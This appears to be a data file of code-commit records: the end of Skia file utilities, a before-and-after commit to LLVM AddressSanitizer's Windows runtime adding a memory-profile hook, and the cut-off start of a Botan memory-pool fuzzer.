SEEK_CUR);\n    return err == 0;\n}\n\nsize_t sk_ftell(FILE* f) {\n    long curr = ftell(f);\n    if (curr < 0) {\n        return 0;\n    }\n    return curr;\n}\n\nvoid sk_fclose(FILE* f) {\n    SkASSERT(f);\n    fclose(f);\n}\n\nbool sk_isdir(const char *path) {\n    struct stat status;\n    if (0 != stat(path, &status)) {\n        return false;\n    }\n    return SkToBool(status.st_mode & S_IFDIR);\n}\n\nbool sk_mkdir(const char* path) {\n    if (sk_isdir(path)) {\n        return true;\n    }\n    if (sk_exists(path)) {\n        fprintf(stderr,\n                \"sk_mkdir: path '%s' already exists but is not a directory\\n\",\n                path);\n        return false;\n    }\n\n    int retval;\n#ifdef _WIN32\n    retval = _mkdir(path);\n#else\n    retval = mkdir(path, 0777);\n#endif\n    if (0 == retval) {\n        return true;\n    } else {\n        fprintf(stderr, \"sk_mkdir: error %d creating dir '%s'\\n\", errno, path);\n        return false;\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===-- asan_win.cc -------------------------------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file is a part of AddressSanitizer, an address sanity checker.\n\/\/\n\/\/ Windows-specific details.\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"sanitizer_common\/sanitizer_platform.h\"\n#if SANITIZER_WINDOWS\n#define WIN32_LEAN_AND_MEAN\n#include <windows.h>\n\n#include <stdlib.h>\n\n#include \"asan_interceptors.h\"\n#include \"asan_internal.h\"\n#include \"asan_report.h\"\n#include \"asan_stack.h\"\n#include \"asan_thread.h\"\n#include \"asan_mapping.h\"\n#include \"sanitizer_common\/sanitizer_libc.h\"\n#include \"sanitizer_common\/sanitizer_mutex.h\"\n\nusing namespace __asan;  \/\/ NOLINT\n\nextern \"C\" {\nSANITIZER_INTERFACE_ATTRIBUTE\nint __asan_should_detect_stack_use_after_return() {\n  __asan_init();\n  return __asan_option_detect_stack_use_after_return;\n}\n\n\/\/ -------------------- A workaround for the absence of weak symbols ----- {{{\n\/\/ We don't have a direct equivalent of weak symbols when using MSVC, but we can\n\/\/ use the \/alternatename directive to tell the linker to default a specific\n\/\/ symbol to a specific value, which works nicely for allocator hooks and\n\/\/ __asan_default_options().\nvoid __sanitizer_default_malloc_hook(void *ptr, uptr size) { }\nvoid __sanitizer_default_free_hook(void *ptr) { }\nconst char* __asan_default_default_options() { return \"\"; }\nconst char* __asan_default_default_suppressions() { return \"\"; }\nvoid __asan_default_on_error() {}\n\/\/ 64-bit msvc will not prepend an underscore for symbols.\n#ifdef _WIN64\n#pragma comment(linker, \"\/alternatename:__sanitizer_malloc_hook=__sanitizer_default_malloc_hook\")  \/\/ NOLINT\n#pragma comment(linker, \"\/alternatename:__sanitizer_free_hook=__sanitizer_default_free_hook\")      \/\/ NOLINT\n#pragma comment(linker, \"\/alternatename:__asan_default_options=__asan_default_default_options\")    \/\/ NOLINT\n#pragma comment(linker, \"\/alternatename:__asan_default_suppressions=__asan_default_default_suppressions\")    \/\/ NOLINT\n#pragma comment(linker, \"\/alternatename:__asan_on_error=__asan_default_on_error\")                  \/\/ NOLINT\n#else\n#pragma comment(linker, \"\/alternatename:___sanitizer_malloc_hook=___sanitizer_default_malloc_hook\")  \/\/ NOLINT\n#pragma comment(linker, \"\/alternatename:___sanitizer_free_hook=___sanitizer_default_free_hook\")      \/\/ NOLINT\n#pragma comment(linker, \"\/alternatename:___asan_default_options=___asan_default_default_options\")    \/\/ NOLINT\n#pragma comment(linker, \"\/alternatename:___asan_default_suppressions=___asan_default_default_suppressions\")    \/\/ NOLINT\n#pragma comment(linker, \"\/alternatename:___asan_on_error=___asan_default_on_error\")                  \/\/ NOLINT\n#endif\n\/\/ }}}\n}  \/\/ extern \"C\"\n\n\/\/ ---------------------- Windows-specific interceptors ---------------- {{{\nINTERCEPTOR_WINAPI(void, RtlRaiseException, EXCEPTION_RECORD *ExceptionRecord) {\n  CHECK(REAL(RtlRaiseException));\n  \/\/ This is a noreturn function, unless it's one of the exceptions raised to\n  \/\/ communicate with the debugger, such as the one from OutputDebugString.\n  if (ExceptionRecord->ExceptionCode != DBG_PRINTEXCEPTION_C)\n    __asan_handle_no_return();\n  REAL(RtlRaiseException)(ExceptionRecord);\n}\n\nINTERCEPTOR_WINAPI(void, RaiseException, void *a, void *b, void *c, void *d) {\n  CHECK(REAL(RaiseException));\n  __asan_handle_no_return();\n  REAL(RaiseException)(a, b, c, d);\n}\n\n#ifdef _WIN64\n\nINTERCEPTOR_WINAPI(int, __C_specific_handler, void *a, void *b, void *c, void *d) {  \/\/ NOLINT\n  CHECK(REAL(__C_specific_handler));\n  __asan_handle_no_return();\n  return REAL(__C_specific_handler)(a, b, c, d);\n}\n\n#else\n\nINTERCEPTOR(int, _except_handler3, void *a, void *b, void *c, void *d) {\n  CHECK(REAL(_except_handler3));\n  __asan_handle_no_return();\n  return REAL(_except_handler3)(a, b, c, d);\n}\n\n#if ASAN_DYNAMIC\n\/\/ This handler is named differently in -MT and -MD CRTs.\n#define _except_handler4 _except_handler4_common\n#endif\nINTERCEPTOR(int, _except_handler4, void *a, void *b, void *c, void *d) {\n  CHECK(REAL(_except_handler4));\n  __asan_handle_no_return();\n  return REAL(_except_handler4)(a, b, c, d);\n}\n#endif\n\nstatic thread_return_t THREAD_CALLING_CONV asan_thread_start(void *arg) {\n  AsanThread *t = (AsanThread*)arg;\n  SetCurrentThread(t);\n  return t->ThreadStart(GetTid(), \/* signal_thread_is_registered *\/ nullptr);\n}\n\nINTERCEPTOR_WINAPI(DWORD, CreateThread,\n                   void* security, uptr stack_size,\n                   DWORD (__stdcall *start_routine)(void*), void* arg,\n                   DWORD thr_flags, void* tid) {\n  \/\/ Strict init-order checking is thread-hostile.\n  if (flags()->strict_init_order)\n    StopInitOrderChecking();\n  GET_STACK_TRACE_THREAD;\n  \/\/ FIXME: The CreateThread interceptor is not the same as a pthread_create\n  \/\/ one.  This is a bandaid fix for PR22025.\n  bool detached = false;  \/\/ FIXME: how can we determine it on Windows?\n  u32 current_tid = GetCurrentTidOrInvalid();\n  AsanThread *t =\n        AsanThread::Create(start_routine, arg, current_tid, &stack, detached);\n  return REAL(CreateThread)(security, stack_size,\n                            asan_thread_start, t, thr_flags, tid);\n}\n\n\/\/ }}}\n\nnamespace __asan {\n\nvoid InitializePlatformInterceptors() {\n  ASAN_INTERCEPT_FUNC(CreateThread);\n\n#ifdef _WIN64\n  ASAN_INTERCEPT_FUNC(__C_specific_handler);\n#else\n  ASAN_INTERCEPT_FUNC(_except_handler3);\n  ASAN_INTERCEPT_FUNC(_except_handler4);\n#endif\n\n  \/\/ Try to intercept kernel32!RaiseException, and if that fails, intercept\n  \/\/ ntdll!RtlRaiseException instead.\n  if (!::__interception::OverrideFunction(\"RaiseException\",\n                                          (uptr)WRAP(RaiseException),\n                                          (uptr *)&REAL(RaiseException))) {\n    CHECK(::__interception::OverrideFunction(\"RtlRaiseException\",\n                                             (uptr)WRAP(RtlRaiseException),\n                                             (uptr *)&REAL(RtlRaiseException)));\n  }\n}\n\nvoid AsanApplyToGlobals(globals_op_fptr op, const void *needle) {\n  UNIMPLEMENTED();\n}\n\n\/\/ ---------------------- TSD ---------------- {{{\nstatic bool tsd_key_inited = false;\n\nstatic __declspec(thread) void *fake_tsd = 0;\n\nvoid AsanTSDInit(void (*destructor)(void *tsd)) {\n  \/\/ FIXME: we're ignoring the destructor for now.\n  tsd_key_inited = true;\n}\n\nvoid *AsanTSDGet() {\n  CHECK(tsd_key_inited);\n  return fake_tsd;\n}\n\nvoid AsanTSDSet(void *tsd) {\n  CHECK(tsd_key_inited);\n  fake_tsd = tsd;\n}\n\nvoid PlatformTSDDtor(void *tsd) {\n  AsanThread::TSDDtor(tsd);\n}\n\/\/ }}}\n\n\/\/ ---------------------- Various stuff ---------------- {{{\nvoid *AsanDoesNotSupportStaticLinkage() {\n#if defined(_DEBUG)\n#error Please build the runtime with a non-debug CRT: \/MD or \/MT\n#endif\n  return 0;\n}\n\nvoid AsanCheckDynamicRTPrereqs() {}\n\nvoid AsanCheckIncompatibleRT() {}\n\nvoid ReadContextStack(void *context, uptr *stack, uptr *ssize) {\n  UNIMPLEMENTED();\n}\n\nvoid AsanOnDeadlySignal(int, void *siginfo, void *context) {\n  UNIMPLEMENTED();\n}\n\n#if SANITIZER_WINDOWS64\n\/\/ Exception handler for dealing with shadow memory.\nstatic LONG CALLBACK\nShadowExceptionHandler(PEXCEPTION_POINTERS exception_pointers) {\n  uptr page_size = GetPageSizeCached();\n  \/\/ Only handle access violations.\n  if (exception_pointers->ExceptionRecord->ExceptionCode !=\n      EXCEPTION_ACCESS_VIOLATION) {\n    return EXCEPTION_CONTINUE_SEARCH;\n  }\n\n  \/\/ Only handle access violations that land within the shadow memory.\n  uptr addr =\n      (uptr)(exception_pointers->ExceptionRecord->ExceptionInformation[1]);\n\n  \/\/ Check valid shadow range.\n  if (!AddrIsInShadow(addr)) return EXCEPTION_CONTINUE_SEARCH;\n\n  \/\/ This is an access violation while trying to read from the shadow. Commit\n  \/\/ the relevant page and let execution continue.\n\n  \/\/ Determine the address of the page that is being accessed.\n  uptr page = RoundDownTo(addr, page_size);\n\n  \/\/ Query the existing page.\n  MEMORY_BASIC_INFORMATION mem_info = {};\n  if (::VirtualQuery((LPVOID)page, &mem_info, sizeof(mem_info)) == 0)\n    return EXCEPTION_CONTINUE_SEARCH;\n\n  \/\/ Commit the page.\n  uptr result =\n      (uptr)::VirtualAlloc((LPVOID)page, page_size, MEM_COMMIT, PAGE_READWRITE);\n  if (result != page) return EXCEPTION_CONTINUE_SEARCH;\n\n  \/\/ The page mapping succeeded, so continue execution as usual.\n  return EXCEPTION_CONTINUE_EXECUTION;\n}\n\n#endif\n\nvoid InitializePlatformExceptionHandlers() {\n#if SANITIZER_WINDOWS64\n  \/\/ On Win64, we map memory on demand with access violation handler.\n  \/\/ Install our exception handler.\n  CHECK(AddVectoredExceptionHandler(TRUE, &ShadowExceptionHandler));\n#endif\n}\n\nstatic LPTOP_LEVEL_EXCEPTION_FILTER default_seh_handler;\n\n\/\/ Check based on flags if we should report this exception.\nstatic bool ShouldReportDeadlyException(unsigned code) {\n  switch (code) {\n    case EXCEPTION_ACCESS_VIOLATION:\n    case EXCEPTION_IN_PAGE_ERROR:\n      return common_flags()->handle_segv;\n    case EXCEPTION_BREAKPOINT:\n    case EXCEPTION_ILLEGAL_INSTRUCTION: {\n      return common_flags()->handle_sigill;\n    }\n  }\n  return false;\n}\n\n\/\/ Return the textual name for this exception.\nconst char *DescribeSignalOrException(int signo) {\n  unsigned code = signo;\n  \/\/ Get the string description of the exception if this is a known deadly\n  \/\/ exception.\n  switch (code) {\n    case EXCEPTION_ACCESS_VIOLATION:\n      return \"access-violation\";\n    case EXCEPTION_IN_PAGE_ERROR:\n      return \"in-page-error\";\n    case EXCEPTION_BREAKPOINT:\n      return \"breakpoint\";\n    case EXCEPTION_ILLEGAL_INSTRUCTION:\n      return \"illegal-instruction\";\n  }\n  return nullptr;\n}\n\nstatic long WINAPI SEHHandler(EXCEPTION_POINTERS *info) {\n  EXCEPTION_RECORD *exception_record = info->ExceptionRecord;\n  CONTEXT *context = info->ContextRecord;\n\n  if (ShouldReportDeadlyException(exception_record->ExceptionCode)) {\n    SignalContext sig = SignalContext::Create(exception_record, context);\n    ReportDeadlySignal(exception_record->ExceptionCode, sig);\n  }\n\n  \/\/ FIXME: Handle EXCEPTION_STACK_OVERFLOW here.\n\n  return default_seh_handler(info);\n}\n\n\/\/ We want to install our own exception handler (EH) to print helpful reports\n\/\/ on access violations and whatnot.  Unfortunately, the CRT initializers assume\n\/\/ they are run before any user code and drop any previously-installed EHs on\n\/\/ the floor, so we can't install our handler inside __asan_init.\n\/\/ (See crt0dat.c in the CRT sources for the details)\n\/\/\n\/\/ Things get even more complicated with the dynamic runtime, as it finishes its\n\/\/ initialization before the .exe module CRT begins to initialize.\n\/\/\n\/\/ For the static runtime (-MT), it's enough to put a callback to\n\/\/ __asan_set_seh_filter in the last section for C initializers.\n\/\/\n\/\/ For the dynamic runtime (-MD), we want link the same\n\/\/ asan_dynamic_runtime_thunk.lib to all the modules, thus __asan_set_seh_filter\n\/\/ will be called for each instrumented module.  This ensures that at least one\n\/\/ __asan_set_seh_filter call happens after the .exe module CRT is initialized.\nextern \"C\" SANITIZER_INTERFACE_ATTRIBUTE\nint __asan_set_seh_filter() {\n  \/\/ We should only store the previous handler if it's not our own handler in\n  \/\/ order to avoid loops in the EH chain.\n  auto prev_seh_handler = SetUnhandledExceptionFilter(SEHHandler);\n  if (prev_seh_handler != &SEHHandler)\n    default_seh_handler = prev_seh_handler;\n  return 0;\n}\n\n#if !ASAN_DYNAMIC\n\/\/ The CRT runs initializers in this order:\n\/\/ - C initializers, from XIA to XIZ\n\/\/ - C++ initializers, from XCA to XCZ\n\/\/ Prior to 2015, the CRT set the unhandled exception filter at priority XIY,\n\/\/ near the end of C initialization. Starting in 2015, it was moved to the\n\/\/ beginning of C++ initialization. We set our priority to XCAB to run\n\/\/ immediately after the CRT runs. This way, our exception filter is called\n\/\/ first and we can delegate to their filter if appropriate.\n#pragma section(\".CRT$XCAB\", long, read)  \/\/ NOLINT\n__declspec(allocate(\".CRT$XCAB\"))\n    int (*__intercept_seh)() = __asan_set_seh_filter;\n#endif\n\/\/ }}}\n}  \/\/ namespace __asan\n\n#endif  \/\/ _WIN32\n<commit_msg>Fix the Windows build after r281546<commit_after>\/\/===-- asan_win.cc -------------------------------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file is a part of AddressSanitizer, an address sanity checker.\n\/\/\n\/\/ Windows-specific details.\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"sanitizer_common\/sanitizer_platform.h\"\n#if SANITIZER_WINDOWS\n#define WIN32_LEAN_AND_MEAN\n#include <windows.h>\n\n#include <stdlib.h>\n\n#include \"asan_interceptors.h\"\n#include \"asan_internal.h\"\n#include \"asan_report.h\"\n#include \"asan_stack.h\"\n#include \"asan_thread.h\"\n#include \"asan_mapping.h\"\n#include \"sanitizer_common\/sanitizer_libc.h\"\n#include \"sanitizer_common\/sanitizer_mutex.h\"\n\nusing namespace __asan;  \/\/ NOLINT\n\nextern \"C\" {\nSANITIZER_INTERFACE_ATTRIBUTE\nint __asan_should_detect_stack_use_after_return() {\n  __asan_init();\n  return __asan_option_detect_stack_use_after_return;\n}\n\n\/\/ -------------------- A workaround for the absence of weak symbols ----- {{{\n\/\/ We don't have a direct equivalent of weak symbols when using MSVC, but we can\n\/\/ use the \/alternatename directive to tell the linker to default a specific\n\/\/ symbol to a specific value, which works nicely for allocator hooks and\n\/\/ __asan_default_options().\nvoid __sanitizer_default_malloc_hook(void *ptr, uptr size) { }\nvoid __sanitizer_default_free_hook(void *ptr) { }\nvoid __sanitizer_default_print_memory_profile(int top_percent) {}\nconst char* __asan_default_default_options() { return \"\"; }\nconst char* __asan_default_default_suppressions() { return \"\"; }\nvoid __asan_default_on_error() {}\n\/\/ 64-bit msvc will not prepend an underscore for symbols.\n#ifdef _WIN64\n#pragma comment(linker, \"\/alternatename:__sanitizer_malloc_hook=__sanitizer_default_malloc_hook\")  \/\/ NOLINT\n#pragma comment(linker, \"\/alternatename:__sanitizer_free_hook=__sanitizer_default_free_hook\")      \/\/ NOLINT\n#pragma comment(linker, \"\/alternatename:__sanitizer_print_memory_profile=__sanitizer_default_print_memory_profile\") \/\/ NOLINT\n#pragma comment(linker, \"\/alternatename:__asan_default_options=__asan_default_default_options\")    \/\/ NOLINT\n#pragma comment(linker, \"\/alternatename:__asan_default_suppressions=__asan_default_default_suppressions\")    \/\/ NOLINT\n#pragma comment(linker, \"\/alternatename:__asan_on_error=__asan_default_on_error\")                  \/\/ NOLINT\n#else\n#pragma comment(linker, \"\/alternatename:___sanitizer_malloc_hook=___sanitizer_default_malloc_hook\")  \/\/ NOLINT\n#pragma comment(linker, \"\/alternatename:___sanitizer_free_hook=___sanitizer_default_free_hook\")      \/\/ NOLINT\n#pragma comment(linker, \"\/alternatename:___sanitizer_print_memory_profile=___sanitizer_default_print_memory_profile\") \/\/ NOLINT\n#pragma comment(linker, \"\/alternatename:___asan_default_options=___asan_default_default_options\")    \/\/ NOLINT\n#pragma comment(linker, \"\/alternatename:___asan_default_suppressions=___asan_default_default_suppressions\")    \/\/ NOLINT\n#pragma comment(linker, \"\/alternatename:___asan_on_error=___asan_default_on_error\")                  \/\/ NOLINT\n#endif\n\/\/ }}}\n}  \/\/ extern \"C\"\n\n\/\/ ---------------------- Windows-specific interceptors ---------------- {{{\nINTERCEPTOR_WINAPI(void, RtlRaiseException, EXCEPTION_RECORD *ExceptionRecord) {\n  CHECK(REAL(RtlRaiseException));\n  \/\/ This is a noreturn function, unless it's one of the exceptions raised to\n  \/\/ communicate with the debugger, such as the one from OutputDebugString.\n  if (ExceptionRecord->ExceptionCode != DBG_PRINTEXCEPTION_C)\n    __asan_handle_no_return();\n  REAL(RtlRaiseException)(ExceptionRecord);\n}\n\nINTERCEPTOR_WINAPI(void, RaiseException, void *a, void *b, void *c, void *d) {\n  CHECK(REAL(RaiseException));\n  __asan_handle_no_return();\n  REAL(RaiseException)(a, b, c, d);\n}\n\n#ifdef _WIN64\n\nINTERCEPTOR_WINAPI(int, __C_specific_handler, void *a, void *b, void *c, void *d) {  \/\/ NOLINT\n  CHECK(REAL(__C_specific_handler));\n  __asan_handle_no_return();\n  return REAL(__C_specific_handler)(a, b, c, d);\n}\n\n#else\n\nINTERCEPTOR(int, _except_handler3, void *a, void *b, void *c, void *d) {\n  CHECK(REAL(_except_handler3));\n  __asan_handle_no_return();\n  return REAL(_except_handler3)(a, b, c, d);\n}\n\n#if ASAN_DYNAMIC\n\/\/ This handler is named differently in -MT and -MD CRTs.\n#define _except_handler4 _except_handler4_common\n#endif\nINTERCEPTOR(int, _except_handler4, void *a, void *b, void *c, void *d) {\n  CHECK(REAL(_except_handler4));\n  __asan_handle_no_return();\n  return REAL(_except_handler4)(a, b, c, d);\n}\n#endif\n\nstatic thread_return_t THREAD_CALLING_CONV asan_thread_start(void *arg) {\n  AsanThread *t = (AsanThread*)arg;\n  SetCurrentThread(t);\n  return t->ThreadStart(GetTid(), \/* signal_thread_is_registered *\/ nullptr);\n}\n\nINTERCEPTOR_WINAPI(DWORD, CreateThread,\n                   void* security, uptr stack_size,\n                   DWORD (__stdcall *start_routine)(void*), void* arg,\n                   DWORD thr_flags, void* tid) {\n  \/\/ Strict init-order checking is thread-hostile.\n  if (flags()->strict_init_order)\n    StopInitOrderChecking();\n  GET_STACK_TRACE_THREAD;\n  \/\/ FIXME: The CreateThread interceptor is not the same as a pthread_create\n  \/\/ one.  This is a bandaid fix for PR22025.\n  bool detached = false;  \/\/ FIXME: how can we determine it on Windows?\n  u32 current_tid = GetCurrentTidOrInvalid();\n  AsanThread *t =\n        AsanThread::Create(start_routine, arg, current_tid, &stack, detached);\n  return REAL(CreateThread)(security, stack_size,\n                            asan_thread_start, t, thr_flags, tid);\n}\n\n\/\/ }}}\n\nnamespace __asan {\n\nvoid InitializePlatformInterceptors() {\n  ASAN_INTERCEPT_FUNC(CreateThread);\n\n#ifdef _WIN64\n  ASAN_INTERCEPT_FUNC(__C_specific_handler);\n#else\n  ASAN_INTERCEPT_FUNC(_except_handler3);\n  ASAN_INTERCEPT_FUNC(_except_handler4);\n#endif\n\n  \/\/ Try to intercept kernel32!RaiseException, and if that fails, intercept\n  \/\/ ntdll!RtlRaiseException instead.\n  if (!::__interception::OverrideFunction(\"RaiseException\",\n                                          (uptr)WRAP(RaiseException),\n                                          (uptr *)&REAL(RaiseException))) {\n    CHECK(::__interception::OverrideFunction(\"RtlRaiseException\",\n                                             (uptr)WRAP(RtlRaiseException),\n                                             (uptr *)&REAL(RtlRaiseException)));\n  }\n}\n\nvoid AsanApplyToGlobals(globals_op_fptr op, const void *needle) {\n  UNIMPLEMENTED();\n}\n\n\/\/ ---------------------- TSD ---------------- {{{\nstatic bool tsd_key_inited = false;\n\nstatic __declspec(thread) void *fake_tsd = 0;\n\nvoid AsanTSDInit(void (*destructor)(void *tsd)) {\n  \/\/ FIXME: we're ignoring the destructor for now.\n  tsd_key_inited = true;\n}\n\nvoid *AsanTSDGet() {\n  CHECK(tsd_key_inited);\n  return fake_tsd;\n}\n\nvoid AsanTSDSet(void *tsd) {\n  CHECK(tsd_key_inited);\n  fake_tsd = tsd;\n}\n\nvoid PlatformTSDDtor(void *tsd) {\n  AsanThread::TSDDtor(tsd);\n}\n\/\/ }}}\n\n\/\/ ---------------------- Various stuff ---------------- {{{\nvoid *AsanDoesNotSupportStaticLinkage() {\n#if defined(_DEBUG)\n#error Please build the runtime with a non-debug CRT: \/MD or \/MT\n#endif\n  return 0;\n}\n\nvoid AsanCheckDynamicRTPrereqs() {}\n\nvoid AsanCheckIncompatibleRT() {}\n\nvoid ReadContextStack(void *context, uptr *stack, uptr *ssize) {\n  UNIMPLEMENTED();\n}\n\nvoid AsanOnDeadlySignal(int, void *siginfo, void *context) {\n  UNIMPLEMENTED();\n}\n\n#if SANITIZER_WINDOWS64\n\/\/ Exception handler for dealing with shadow memory.\nstatic LONG CALLBACK\nShadowExceptionHandler(PEXCEPTION_POINTERS exception_pointers) {\n  uptr page_size = GetPageSizeCached();\n  \/\/ Only handle access violations.\n  if (exception_pointers->ExceptionRecord->ExceptionCode !=\n      EXCEPTION_ACCESS_VIOLATION) {\n    return EXCEPTION_CONTINUE_SEARCH;\n  }\n\n  \/\/ Only handle access violations that land within the shadow memory.\n  uptr addr =\n      (uptr)(exception_pointers->ExceptionRecord->ExceptionInformation[1]);\n\n  \/\/ Check valid shadow range.\n  if (!AddrIsInShadow(addr)) return EXCEPTION_CONTINUE_SEARCH;\n\n  \/\/ This is an access violation while trying to read from the shadow. Commit\n  \/\/ the relevant page and let execution continue.\n\n  \/\/ Determine the address of the page that is being accessed.\n  uptr page = RoundDownTo(addr, page_size);\n\n  \/\/ Query the existing page.\n  MEMORY_BASIC_INFORMATION mem_info = {};\n  if (::VirtualQuery((LPVOID)page, &mem_info, sizeof(mem_info)) == 0)\n    return EXCEPTION_CONTINUE_SEARCH;\n\n  \/\/ Commit the page.\n  uptr result =\n      (uptr)::VirtualAlloc((LPVOID)page, page_size, MEM_COMMIT, PAGE_READWRITE);\n  if (result != page) return EXCEPTION_CONTINUE_SEARCH;\n\n  \/\/ The page mapping succeeded, so continue execution as usual.\n  return EXCEPTION_CONTINUE_EXECUTION;\n}\n\n#endif\n\nvoid InitializePlatformExceptionHandlers() {\n#if SANITIZER_WINDOWS64\n  \/\/ On Win64, we map memory on demand with access violation handler.\n  \/\/ Install our exception handler.\n  CHECK(AddVectoredExceptionHandler(TRUE, &ShadowExceptionHandler));\n#endif\n}\n\nstatic LPTOP_LEVEL_EXCEPTION_FILTER default_seh_handler;\n\n\/\/ Check based on flags if we should report this exception.\nstatic bool ShouldReportDeadlyException(unsigned code) {\n  switch (code) {\n    case EXCEPTION_ACCESS_VIOLATION:\n    case EXCEPTION_IN_PAGE_ERROR:\n      return common_flags()->handle_segv;\n    case EXCEPTION_BREAKPOINT:\n    case EXCEPTION_ILLEGAL_INSTRUCTION: {\n      return common_flags()->handle_sigill;\n    }\n  }\n  return false;\n}\n\n\/\/ Return the textual name for this exception.\nconst char *DescribeSignalOrException(int signo) {\n  unsigned code = signo;\n  \/\/ Get the string description of the exception if this is a known deadly\n  \/\/ exception.\n  switch (code) {\n    case EXCEPTION_ACCESS_VIOLATION:\n      return \"access-violation\";\n    case EXCEPTION_IN_PAGE_ERROR:\n      return \"in-page-error\";\n    case EXCEPTION_BREAKPOINT:\n      return \"breakpoint\";\n    case EXCEPTION_ILLEGAL_INSTRUCTION:\n      return \"illegal-instruction\";\n  }\n  return nullptr;\n}\n\nstatic long WINAPI SEHHandler(EXCEPTION_POINTERS *info) {\n  EXCEPTION_RECORD *exception_record = info->ExceptionRecord;\n  CONTEXT *context = info->ContextRecord;\n\n  if (ShouldReportDeadlyException(exception_record->ExceptionCode)) {\n    SignalContext sig = SignalContext::Create(exception_record, context);\n    ReportDeadlySignal(exception_record->ExceptionCode, sig);\n  }\n\n  \/\/ FIXME: Handle EXCEPTION_STACK_OVERFLOW here.\n\n  return default_seh_handler(info);\n}\n\n\/\/ We want to install our own exception handler (EH) to print helpful reports\n\/\/ on access violations and whatnot.  Unfortunately, the CRT initializers assume\n\/\/ they are run before any user code and drop any previously-installed EHs on\n\/\/ the floor, so we can't install our handler inside __asan_init.\n\/\/ (See crt0dat.c in the CRT sources for the details)\n\/\/\n\/\/ Things get even more complicated with the dynamic runtime, as it finishes its\n\/\/ initialization before the .exe module CRT begins to initialize.\n\/\/\n\/\/ For the static runtime (-MT), it's enough to put a callback to\n\/\/ __asan_set_seh_filter in the last section for C initializers.\n\/\/\n\/\/ For the dynamic runtime (-MD), we want link the same\n\/\/ asan_dynamic_runtime_thunk.lib to all the modules, thus __asan_set_seh_filter\n\/\/ will be called for each instrumented module.  This ensures that at least one\n\/\/ __asan_set_seh_filter call happens after the .exe module CRT is initialized.\nextern \"C\" SANITIZER_INTERFACE_ATTRIBUTE\nint __asan_set_seh_filter() {\n  \/\/ We should only store the previous handler if it's not our own handler in\n  \/\/ order to avoid loops in the EH chain.\n  auto prev_seh_handler = SetUnhandledExceptionFilter(SEHHandler);\n  if (prev_seh_handler != &SEHHandler)\n    default_seh_handler = prev_seh_handler;\n  return 0;\n}\n\n#if !ASAN_DYNAMIC\n\/\/ The CRT runs initializers in this order:\n\/\/ - C initializers, from XIA to XIZ\n\/\/ - C++ initializers, from XCA to XCZ\n\/\/ Prior to 2015, the CRT set the unhandled exception filter at priority XIY,\n\/\/ near the end of C initialization. Starting in 2015, it was moved to the\n\/\/ beginning of C++ initialization. We set our priority to XCAB to run\n\/\/ immediately after the CRT runs. This way, our exception filter is called\n\/\/ first and we can delegate to their filter if appropriate.\n#pragma section(\".CRT$XCAB\", long, read)  \/\/ NOLINT\n__declspec(allocate(\".CRT$XCAB\"))\n    int (*__intercept_seh)() = __asan_set_seh_filter;\n#endif\n\/\/ }}}\n}  \/\/ namespace __asan\n\n#endif  \/\/ _WIN32\n<|endoftext|>"}
{"text":"<commit_before>\/*\n* (C) 2018 Jack Lloyd\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n#include \"fuzzers.h\"\n#include <botan\/internal\/mem_pool.h>\n#include <botan\/internal\/bit_ops.h>\n#include <vector>\n#include <map>\n#include <utility>\n\n#include <stdlib.h>\n\nnamespace {\n\nsize_t compute_expected_alignment(size_t plen)\n   {\n   if(Botan::is_power_of_2(plen))\n      {\n      return plen;\n      }\n   else\n      {\n      return 8;\n      }\n   }\n\nstruct RawPage\n   {\n   public:\n      RawPage(void* p) : m_p(p) {}\n      ~RawPage() { std::free(m_p); }\n\n      RawPage(const RawPage& other) = default;\n      RawPage& operator=(const RawPage& other) = default;\n\n      RawPage(RawPage&& other) : m_p(nullptr)\n         {\n         std::swap(m_p, other.m_p);\n         }\n\n      RawPage& operator=(RawPage&& other)\n         {\n         if(this != &other)\n            {\n            std::swap(m_p, other.m_p);\n            }\n         return (*this);\n         }\n\n      void* ptr() const { return m_p; }\n   private:\n      void* m_p;\n   };\n\nstd::vector<RawPage> allocate_raw_pages(size_t count, size_t page_size)\n   {\n   std::vector<RawPage> pages;\n   pages.reserve(count);\n\n   for(size_t i = 0; i != count; ++i)\n      {\n      void* ptr = nullptr;\n\n      ::posix_memalign(&ptr, page_size, page_size);\n\n      if(ptr)\n         {\n         fprintf(stderr, \"%p\\n\", ptr);\n         pages.push_back(RawPage(ptr));\n         }\n      }\n\n   return pages;\n   }\n\n}\n\nvoid fuzz(const uint8_t in[], size_t in_len)\n   {\n   const size_t page_count = 4;\n   const size_t page_size = 4096;\n\n   \/\/ static to avoid repeated allocations\n   static std::vector<RawPage> raw_mem = allocate_raw_pages(page_count, page_size);\n\n   std::vector<void*> mem_pages;\n   mem_pages.reserve(raw_mem.size());\n   for(size_t i = 0; i != raw_mem.size(); ++i)\n      mem_pages.push_back(raw_mem[i].ptr());\n\n   Botan::Memory_Pool pool(mem_pages, page_size);\n   std::map<uint8_t*, size_t> ptrs;\n\n   while(in_len > 0)\n      {\n      const uint8_t op = in[0] % 2;\n      size_t idx = (in[0] >> 1);\n      in += 1;\n      in_len -= 1;\n\n      if(in_len > 0 && idx < 4)\n         {\n         idx = idx * 256 + in[0];\n         in += 1;\n         in_len -= 1;\n         }\n\n      \/\/printf(\"%d %d\\n\", op, idx);\n\n      if(op == 0)\n         {\n         const size_t plen = idx + 1; \/\/ ensure non-zero\n         uint8_t* p = static_cast<uint8_t*>(pool.allocate(plen));\n\n         if(p)\n            {\n            const size_t expected_alignment = compute_expected_alignment(plen);\n            const size_t alignment = reinterpret_cast<uintptr_t>(p) % expected_alignment;\n            if(alignment != 0)\n               {\n               FUZZER_WRITE_AND_CRASH(\"Pointer allocated non-aligned pointer \" << static_cast<void*>(p) << \" for len \" << plen\n                                      << \" expected \" << expected_alignment << \" got \" << alignment);\n               }\n\n            \/\/printf(\"alloc %d -> %p\\n\", plen, p);\n\n            for(size_t i = 0; i != plen; ++i)\n               {\n               if(p[i] != 0)\n                  {\n                  